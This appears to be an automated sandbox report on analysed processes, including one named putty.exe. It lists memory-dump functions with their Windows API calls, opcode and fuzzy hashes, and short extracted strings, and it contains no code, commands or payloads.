Opcode ID: 7af8f511259a01a0a13d0528c1a43f9e3be6658c4a414f201317eb91d0d0d339
Instruction ID: 6f2f28fdb521fd3422355eef22e8eba105aba7d1a457f0de7508d9ce977f2465
Opcode Fuzzy Hash: 7af8f511259a01a0a13d0528c1a43f9e3be6658c4a414f201317eb91d0d0d339
Instruction Fuzzy Hash: 0B017175900600ABE310DF16DC46B66FBA8FB84B20F14816AED089B741D235B915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 027C0196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027C01D0

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 3513d4992a5853c5b3c3ade2285256f07eaad26bca4bd9f148abb02763f9d52d
Instruction ID: 0d25d58c5bfae39be42dc4cfcebf9ba7949f176fa300b2139222348f7de245cb
Opcode Fuzzy Hash: 3513d4992a5853c5b3c3ade2285256f07eaad26bca4bd9f148abb02763f9d52d
Instruction Fuzzy Hash: 11019E71600304CFEB10DF66DC8576AFBD8EB00720F1884AEDC09CB742D674E804CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 004BBAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 004BBB2F

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 4863f51f5c7c38fa52498c2b4a63ff68cd52d3f0783ac736bec480e87231c432
Instruction ID: b14e9944491024d268f6d27ddbc2ac80959a586691b909791a591ca2d804bb58
Opcode Fuzzy Hash: 4863f51f5c7c38fa52498c2b4a63ff68cd52d3f0783ac736bec480e87231c432
Instruction Fuzzy Hash: 8101DF75904200DFEB20CF15DC857A6FBA4EF04720F18C4ABDD098B656D3B9A804DBB6

Uniqueness

Uniqueness Score: -1.00%

Function 027C12FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027C132F

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: addd218a986ac1fad6d8dad9054a67c86b530725148e6bc1abb62baf5b0847bd
Instruction ID: 1ae0e7d8ba0e6dba56c8dee17cbab1336e481d41b7775644a90ae72938187746
Opcode Fuzzy Hash: addd218a986ac1fad6d8dad9054a67c86b530725148e6bc1abb62baf5b0847bd
Instruction Fuzzy Hash: FA019A75504200DBEF108F25DC857A5FBA4EB04724F5884AEDC099B642D275A404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 004BA8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 004BA94A

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: cb33666fdbfe0128a5a122b61017ca4e16ee9e77f9b0b7cebf11b362cffeaae6
Instruction ID: a9e9fa8d3979475698f0a13c848602104a272eb298d136b5be24a9dd865bcf41
Opcode Fuzzy Hash: cb33666fdbfe0128a5a122b61017ca4e16ee9e77f9b0b7cebf11b362cffeaae6
Instruction Fuzzy Hash: CB016275940601ABD310DF16DC46B26FBA4FB88B20F14815AED085B741D275F916CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027C0F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027C0FB0

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 79bbe5150d020d58087eabff7255dc15f2d6ce8dc78ee5494e96ee923808b0eb
Instruction ID: 2e714f138094b8da8991d177a8ef63f71aa93e8a1b06f6cc28273997331786b5
Opcode Fuzzy Hash: 79bbe5150d020d58087eabff7255dc15f2d6ce8dc78ee5494e96ee923808b0eb
Instruction Fuzzy Hash: 82017C71504344DFEB20DF25D885B66FB94EB01720F2884AEDC089F246D374E544CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 027C04B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027C0502

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 8a33389a82dfc97d2e95ff92a29ed171fb6e88a54039451b23c782eea9108240
Instruction ID: c495f88aec82868bd67f5c78bf39f940c2c624cca0293b3b904147ea8df51661
Opcode Fuzzy Hash: 8a33389a82dfc97d2e95ff92a29ed171fb6e88a54039451b23c782eea9108240
Instruction Fuzzy Hash: F6016275940601ABD310DF16DC46B26FBA4FB88B20F14815AED085B741D275F916CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 004BAB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 004BABC9

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: b4a138cef6918b28cb22032744cf1976c04f82a04c6a6824d13ed2f87593e6b9
Instruction ID: a782e2923af8fad3ba3a592d459c1f81676770a40ba257d66454c2b3fc916da8
Opcode Fuzzy Hash: b4a138cef6918b28cb22032744cf1976c04f82a04c6a6824d13ed2f87593e6b9
Instruction Fuzzy Hash: 5D01AD31408240DFEB10DF55E885BA2FBA4DB10720F18C4ABCD088F202D279A804CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 027C1116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027C1148

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: eb38d3186a7275e137462a9b953f60870a655e8bb1ddcbd7ec463bb1647d971e
Instruction ID: 8822bc06e47b19ec1e8742e7609dc825baec074437975f920fff46c3461fb08b
Opcode Fuzzy Hash: eb38d3186a7275e137462a9b953f60870a655e8bb1ddcbd7ec463bb1647d971e
Instruction Fuzzy Hash: C9F0FF38500740DFEB20CF15DC85761FBA0EF04B21F58C0EECC084B312D279A844CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 004BA36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 004BA39C

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: d303252f1c7341ddfa00325593253c26f6079fde5294423dba1fa11cb6b88d88
Instruction ID: 00f8393734e5ada4a8cc23c6e579950906f86be6549eb8cb5648361537a95e7f
Opcode Fuzzy Hash: d303252f1c7341ddfa00325593253c26f6079fde5294423dba1fa11cb6b88d88
Instruction Fuzzy Hash: CCF0D738404300CFEB208F06D8887A6FBE0EB04720F18C09BCC090B302D379A858DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 027C096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027C099C

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: acd13465ac48d85019981e37286803ec8d218ad81a83e66ebe85941636c54ac8
Instruction ID: 2018d6ebed4bf1e74b61fc7cbf41f37bf74fe970a7cbb0fe569a0d4e9a5daac0
Opcode Fuzzy Hash: acd13465ac48d85019981e37286803ec8d218ad81a83e66ebe85941636c54ac8
Instruction Fuzzy Hash: 33F0F938804300CFEB208F16D888722FBA4EF14720F28C09ECC490B302C274A808CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 004BAA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 004BAA71

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 1a668fe3222945a0e05939acd85b309b24b167f03332fdaa8575182b0247a795
Instruction ID: 69992e0e7145e3bf064b610ed872df2c4fb232b715cdab84f0f9a99ce56a2a8a
Opcode Fuzzy Hash: 1a668fe3222945a0e05939acd85b309b24b167f03332fdaa8575182b0247a795
Instruction Fuzzy Hash: 28F0CD35504744DFEB10CF46E9897A2FBA0EF18721F18C09BDD094B342D278A914DAB3

Uniqueness

Uniqueness Score: -1.00%

Function 027C063A, Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE ref: 027C0640

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: aecb19a50498e01a3fae21035c0e36087a7a1263db8dcb76eb8aa665f7dc6fea
Instruction ID: 363994319fedf25e15a2540e7c245c9a1ec42c4130bbd808d5b82b885182253f
Opcode Fuzzy Hash: aecb19a50498e01a3fae21035c0e36087a7a1263db8dcb76eb8aa665f7dc6fea
Instruction Fuzzy Hash: 65E04F36604215CFEB109E29E8493A5B790EB41221F1440AEDC1AD7A60D675D598DA92

Uniqueness

Uniqueness Score: -1.00%

Function 004BA974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 004BA9C8

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: cd754c79d7d580917b9eb00c5c3d2322b3bdc5f138bf4d4109c0057413c3190c
Instruction ID: f088a1453ea5811a102e642f25da935bbb1779c0261c74ca080f1690ee5cea90
Opcode Fuzzy Hash: cd754c79d7d580917b9eb00c5c3d2322b3bdc5f138bf4d4109c0057413c3190c
Instruction Fuzzy Hash: B911A3755093849FD711CF25DC45B92FFA4DF06220F0980EBED458B252D275A808CB72

Uniqueness

Uniqueness Score: -1.00%

Function 004BA996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 004BA9C8

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 8ebf090500016d79c4ca340ec7db837ec5ae588523c00fc4122e1254aa986df5
Instruction ID: 293b9a3828f7dcf96f5ef48db38d5189b0976019e00690a2f153977c5a10e5c6
Opcode Fuzzy Hash: 8ebf090500016d79c4ca340ec7db837ec5ae588523c00fc4122e1254aa986df5
Instruction Fuzzy Hash: C401DF75500640CFEB20DF25DC857A6FB94DF04320F18C4ABDC098B242D279A814DB72

Uniqueness

Uniqueness Score: -1.00%

Function 02B707F7, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2144950831.0000000002B70000.00000040.00000040.sdmp, Offset: 02B70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8086eb4de38d9ac877a3781fdf41c2add16eee51c90502a771d3c6cce92775ab
Instruction ID: 0a859982a507449570ae6fa21937d9e766caf935be19eb346cae498e0d391552
Opcode Fuzzy Hash: 8086eb4de38d9ac877a3781fdf41c2add16eee51c90502a771d3c6cce92775ab
Instruction Fuzzy Hash: 6601DB765097845FD7118B05AC41863FFF8EF87630748C09FEC4987611D226B909C771

Uniqueness

Uniqueness Score: -1.00%

Function 05710861, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2163914203.0000000005710000.00000040.00000001.sdmp, Offset: 05710000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5553bee449daacdf85d895b5e505518a54232a80eba0956ca05f92478eac61b
Instruction ID: 38d046bf2dbd9a81f2d37bbf88d768e14707f1a0a68c6e9925196e2ac08fae96
Opcode Fuzzy Hash: b5553bee449daacdf85d895b5e505518a54232a80eba0956ca05f92478eac61b
Instruction Fuzzy Hash: 05F0E52220E3C05FC3079728A97585A7FB55D8352430E81EBE581CF6A3CA995C4AD3B3

Uniqueness

Uniqueness Score: -1.00%

Function 02B7081E, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2144950831.0000000002B70000.00000040.00000040.sdmp, Offset: 02B70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 504a7407f7ebf0ecae03c266bfb2405c744b8c1d88fec49d81ab50dc325d1746
Instruction ID: 81a7a49dedcea5afa510ba41a8b46143790b7541f0f5dce695cc768ab54a4ab1
Opcode Fuzzy Hash: 504a7407f7ebf0ecae03c266bfb2405c744b8c1d88fec49d81ab50dc325d1746
Instruction Fuzzy Hash: 48E092766057048BDB50CF0AEC41462F7D4EB84A30B18C07FDC0D8B700D135B505CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 004B23F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2135245525.00000000004B2000.00000040.00000001.sdmp, Offset: 004B2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca4b2a92999bf03280af1b5f210eb269cbf2ea76418a65470148525ba340c10
Instruction ID: f37351f48cbbde8a1449793990ea6e9cd46759f8aeaa76c4ed01d2a0dff41c6d
Opcode Fuzzy Hash: aca4b2a92999bf03280af1b5f210eb269cbf2ea76418a65470148525ba340c10
Instruction Fuzzy Hash: B6D05E79204A918FD7168A1CC2A4BD63B94AF55B05F4644FAE840CBBA3C7A8E991D210

Uniqueness

Uniqueness Score: -1.00%

Function 004B23BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2135245525.00000000004B2000.00000040.00000001.sdmp, Offset: 004B2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab16b9bfb412a5e4b08fb7fbc5f9d84097443fe2e39d8aed674467587934dc0d
Instruction ID: c2a5e1f001543da3fc7145fb7a0c0a616aca02d50c1f70d301f68edd6352abaa
Opcode Fuzzy Hash: ab16b9bfb412a5e4b08fb7fbc5f9d84097443fe2e39d8aed674467587934dc0d
Instruction Fuzzy Hash: 44D05E343006818FDB15DA2CC294F9A73E4AF44700F0644E9BC008B366C3ACE8C0D614

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: putty.exe PID: 2112 Parent PID: 2760 putty.exeCOMMON

Executed Functions

Function 00720AA8, Relevance: 33.6, Strings: 26, Instructions: 1146COMMON

Download Yara Rule

Strings

Gl, xrefs: 00720FBD
fCl, xrefs: 0072182B
Gl, xrefs: 00721631
Gl, xrefs: 00720FF9
Gl, xrefs: 00720F45
Gl, xrefs: 00721071
(%l, xrefs: 00720BAA
fCl, xrefs: 00721246
fCl, xrefs: 00721922
Gl, xrefs: 00721559
Gl, xrefs: 007214F4
(%l, xrefs: 007218E2
Gl, xrefs: 00721497
L&l, xrefs: 00720E83
Gl, xrefs: 00720ECD
r, xrefs: 00720DB2
L&l, xrefs: 00720ABD
Gl, xrefs: 0072142D
Gl, xrefs: 007213BF
Gl, xrefs: 00720F09
Gl, xrefs: 007215C3
Gl, xrefs: 00720F81
Gl, xrefs: 00721351
Gl, xrefs: 00721035
fCl, xrefs: 007217E5
(%l, xrefs: 007211F1

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$(%l$(%l$(%l$L&l$L&l$fCl$fCl$fCl$fCl$r
API String ID: 0-1103589094
Opcode ID: f6e3d0ffbffe265720f5db9b7ef8e87f8ebee8401518ca834329b5b32c223544
Instruction ID: 05a8fc665635544e149ecb013ce9bf463ba9cd2dee1dc7ca9affb8ec7491059d
Opcode Fuzzy Hash: f6e3d0ffbffe265720f5db9b7ef8e87f8ebee8401518ca834329b5b32c223544
Instruction Fuzzy Hash: B7A28D30B042148FCB14EB74E898BAEBBB2EF84314F5585A9E509DB395DF34AD81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00720E68, Relevance: 29.5, Strings: 23, Instructions: 734COMMON

Download Yara Rule

Strings

Gl, xrefs: 00720FBD
Gl, xrefs: 00721559
Gl, xrefs: 007214F4
fCl, xrefs: 0072182B
(%l, xrefs: 007218E2
Gl, xrefs: 00721497
L&l, xrefs: 00720E83
Gl, xrefs: 00721631
Gl, xrefs: 00720ECD
Gl, xrefs: 00720FF9
Gl, xrefs: 0072142D
Gl, xrefs: 00720F45
Gl, xrefs: 007213BF
Gl, xrefs: 00721071
Gl, xrefs: 00720F09
Gl, xrefs: 007215C3
Gl, xrefs: 00720F81
Gl, xrefs: 00721351
fCl, xrefs: 00721246
Gl, xrefs: 00721035
fCl, xrefs: 007217E5
fCl, xrefs: 00721922
(%l, xrefs: 007211F1

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$ Gl$(%l$(%l$L&l$fCl$fCl$fCl$fCl
API String ID: 0-2245572850
Opcode ID: d611d420854f9ec86828fb17d94865ec23f49c97f931707e89d8306eb8f66b3c
Instruction ID: 5850cc8f84feb7b67ae87f4b7a256a7b06f7644f99be6b256169a2d4a943aec6
Opcode Fuzzy Hash: d611d420854f9ec86828fb17d94865ec23f49c97f931707e89d8306eb8f66b3c
Instruction Fuzzy Hash: 4B625A30A002148FCB14EF64D898ABEBBB3FF88305F5585A9E50A9B355DF74AD818F51

Uniqueness

Uniqueness Score: -1.00%

Function 00724258, Relevance: 15.4, Strings: 12, Instructions: 391COMMON

Download Yara Rule

Strings

L&l, xrefs: 00724748
TCl, xrefs: 0072457E
fCl, xrefs: 00724414
fCl, xrefs: 007244CF
fCl, xrefs: 00724513
fCl, xrefs: 00724593
fCl, xrefs: 0072445B
fCl, xrefs: 007244A1
fCl, xrefs: 007243D0
(%l, xrefs: 007246D5
fCl, xrefs: 00724559
L&l, xrefs: 0072426F

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$L&l$TCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl
API String ID: 0-3623804135
Opcode ID: c2eb460e741c4c882d9ee49bccd13637eb160207f754c0adab7a421411a1cca0
Instruction ID: 717eee075294a7630fd070d84c0054f15893e370bd64bb0d2523a77d236a9cf3
Opcode Fuzzy Hash: c2eb460e741c4c882d9ee49bccd13637eb160207f754c0adab7a421411a1cca0
Instruction Fuzzy Hash: 16D1F330B002145FDB58EBB4D865BAEBAE7AFC5304F248838E4169B3D1DF75AD468784

Uniqueness

Uniqueness Score: -1.00%

Function 007221D8, Relevance: 5.8, Strings: 4, Instructions: 760COMMON

Download Yara Rule

Strings

fCl, xrefs: 0072224F
(%l, xrefs: 00722C68
L&l, xrefs: 007221F3
fCl, xrefs: 00722280

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$fCl$fCl
API String ID: 0-4091099992
Opcode ID: 0944dcdfc221719fe986436f7ac2f2182e577a9fcbb0689ad9adf83612f035dd
Instruction ID: 5b1e4abf7c6536b11aecacf521ddc4a948b86c3834a0da4e84079fbfcedf6864
Opcode Fuzzy Hash: 0944dcdfc221719fe986436f7ac2f2182e577a9fcbb0689ad9adf83612f035dd
Instruction Fuzzy Hash: EE622930E046198FCB64EF78C8546DEB7B2BF89304F1185A9D549AB251EF70AE85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00723E6A, Relevance: 5.3, Strings: 4, Instructions: 309COMMON

Download Yara Rule

Strings

\Rl, xrefs: 00723EC8
HZl, xrefs: 00723F79
(%l, xrefs: 007240E7
L&l, xrefs: 0072426F

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$\Rl$HZl
API String ID: 0-2876206800
Opcode ID: e1fcdfd691927bad2b82926192ad0429e3d643d08ae793cdc1ee38686f5bc637
Instruction ID: 489fbc5efea4880256a9935ade0bc7a9191ff97c0683ac964dc7b39663a299f1
Opcode Fuzzy Hash: e1fcdfd691927bad2b82926192ad0429e3d643d08ae793cdc1ee38686f5bc637
Instruction Fuzzy Hash: DBC1E230B042598FCB15DB74D864AAD7BF2AF85304F1184A9D509EB396DF34DE86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00722D58, Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

L&l, xrefs: 00722DA3
(%l, xrefs: 00722F5D
d;l, xrefs: 00722E02

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$d;l
API String ID: 0-795079490
Opcode ID: 091c1f3ebb5beff78dd0f99dd89bc93b0ea01fb6987976a65cbf7d8cef85a17e
Instruction ID: b2db13d46f7d703762ebd218a36d3ebe3f5c015c7d7f3ccdf873240ee0fd78bb
Opcode Fuzzy Hash: 091c1f3ebb5beff78dd0f99dd89bc93b0ea01fb6987976a65cbf7d8cef85a17e
Instruction Fuzzy Hash: 35819034A04214AFCB14DFB4E958AADBBF2EF88304F148569E505D73A2DB78DD46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00722178, Relevance: 3.9, Strings: 3, Instructions: 153COMMON

Download Yara Rule

Strings

fCl, xrefs: 0072224F
L&l, xrefs: 007221F3
fCl, xrefs: 00722280

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: L&l$fCl$fCl
API String ID: 0-634734265
Opcode ID: 562de302db09325a12a4916de607e716b0197d42b12fa05c446f1fedb8fb1161
Instruction ID: b19de43133ac7c6c85ddbdb82f79ddc9cb5cbfd347521cf2a9af16b712bdcbdb
Opcode Fuzzy Hash: 562de302db09325a12a4916de607e716b0197d42b12fa05c446f1fedb8fb1161
Instruction Fuzzy Hash: 9B51B170E053189FDB14DB749C65BDE7BB6AF89300F0044A9E508EB382EB359D458F51

Uniqueness

Uniqueness Score: -1.00%

Function 007253AE, Relevance: 2.8, Strings: 2, Instructions: 253COMMON

Download Yara Rule

Strings

L&l, xrefs: 0072543D
fCl, xrefs: 007255CA

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: L&l$fCl
API String ID: 0-3202221841
Opcode ID: d403e50b164f339ab1243450a919778d237d123432ea2a2f46829d61367d7dcd
Instruction ID: 57600e921b829a882c5e060f5442332ee67822de0377e294b085325fc3b626bc
Opcode Fuzzy Hash: d403e50b164f339ab1243450a919778d237d123432ea2a2f46829d61367d7dcd
Instruction Fuzzy Hash: F581AF30B046048FCB04ABB4D829BAE7BE3AFC9304F554429E506DB795EF78DC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 00725410, Relevance: 2.7, Strings: 2, Instructions: 224COMMON

Download Yara Rule

Strings

L&l, xrefs: 0072543D
fCl, xrefs: 007255CA

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: L&l$fCl
API String ID: 0-3202221841
Opcode ID: 3ee0372526e986cfe3839ddb7765f06863131088ca838d1284c7e665fd9590d7
Instruction ID: 1475888423bad3c3d3a65335f028690d988bb7f127011924f190f792443aef6a
Opcode Fuzzy Hash: 3ee0372526e986cfe3839ddb7765f06863131088ca838d1284c7e665fd9590d7
Instruction Fuzzy Hash: B8718F30B046148FCB54ABB4D859BAE76E3AFC8344F614439E506DB794EFB8DC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 003F1BE5, Relevance: 1.9, APIs: 1, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356962632.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43029891adc8b214904f51a91e40365d6a010f464ccb14c3a489d15b7da220cc
Instruction ID: c54eb53cbe583e36d9521d1e24af8b7b13b91d0fb6822dd3c4a290a9b9259f60
Opcode Fuzzy Hash: 43029891adc8b214904f51a91e40365d6a010f464ccb14c3a489d15b7da220cc
Instruction Fuzzy Hash: ADC1A56180E3D98FC703CB7898656E67FB49F43214F1E81DBD5C0DB6A3D6285909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 003F6CC8, Relevance: 1.6, APIs: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 003F6D88

Memory Dump Source

Source File: 00000013.00000002.2356962632.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 2f911bb4611c95b44ad92e589a764abcab8729266ba59a8970a0700cc03be19c
Instruction ID: 0eff03e1d2175ef37921d7472fe3c26a4fedbebb1b4c90f455077f3261cf10e3
Opcode Fuzzy Hash: 2f911bb4611c95b44ad92e589a764abcab8729266ba59a8970a0700cc03be19c
Instruction Fuzzy Hash: 1931DD71E002098FCB10CFA9D405BEEBBF8EF49314F14852AE958A7340D734A905CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 003F1DB0, Relevance: 1.6, APIs: 1, Instructions: 66fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 003F6D88

Memory Dump Source

Source File: 00000013.00000002.2356962632.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ac7506726910e2bf1e26f21374b0f5d29ad01954ffeca21ecff43db9bfe05b84
Instruction ID: aa5ad4014d22264b664fc41571b697e142a1e16d3551abe25db932ec2f3ddd89
Opcode Fuzzy Hash: ac7506726910e2bf1e26f21374b0f5d29ad01954ffeca21ecff43db9bfe05b84
Instruction Fuzzy Hash: 2D2198B1D046598FCB10CFA9C8457EEFBB4EF49310F25855AD858B7241D338AA04CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 003F1DC0, Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 003F6D88

Memory Dump Source

Source File: 00000013.00000002.2356962632.00000000003F0000.00000040.00000001.sdmp, Offset: 003F0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 398b1b95192c181e0a130d5fc9baac385a8d7104539c074adc9bf482969b5ae2
Instruction ID: 58d0e7172a9fa9ff88998f08d104b639ac777cd803316b0de5bfacd1b65a8e4b
Opcode Fuzzy Hash: 398b1b95192c181e0a130d5fc9baac385a8d7104539c074adc9bf482969b5ae2
Instruction Fuzzy Hash: C52147B1D006199BCB14CF99D4457EEFBB4EF48314F14852AE918B7240D378AA40CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 00721ED8, Relevance: 1.5, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

L&l, xrefs: 007220CE

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: L&l
API String ID: 0-18547681
Opcode ID: ff98398fbe4404257a6f092c8efa5b603756311f995dafb13c67abeddc617b3a
Instruction ID: 1592904f2403ab485d360fea3d16161ca1f6a7e92ee2c2e7ed0de2028f29b6ea
Opcode Fuzzy Hash: ff98398fbe4404257a6f092c8efa5b603756311f995dafb13c67abeddc617b3a
Instruction Fuzzy Hash: 5B71C334B093858FD703A774E8259693BF59B86304F5680F6E548DF2A3DA39DC0AC761

Uniqueness

Uniqueness Score: -1.00%

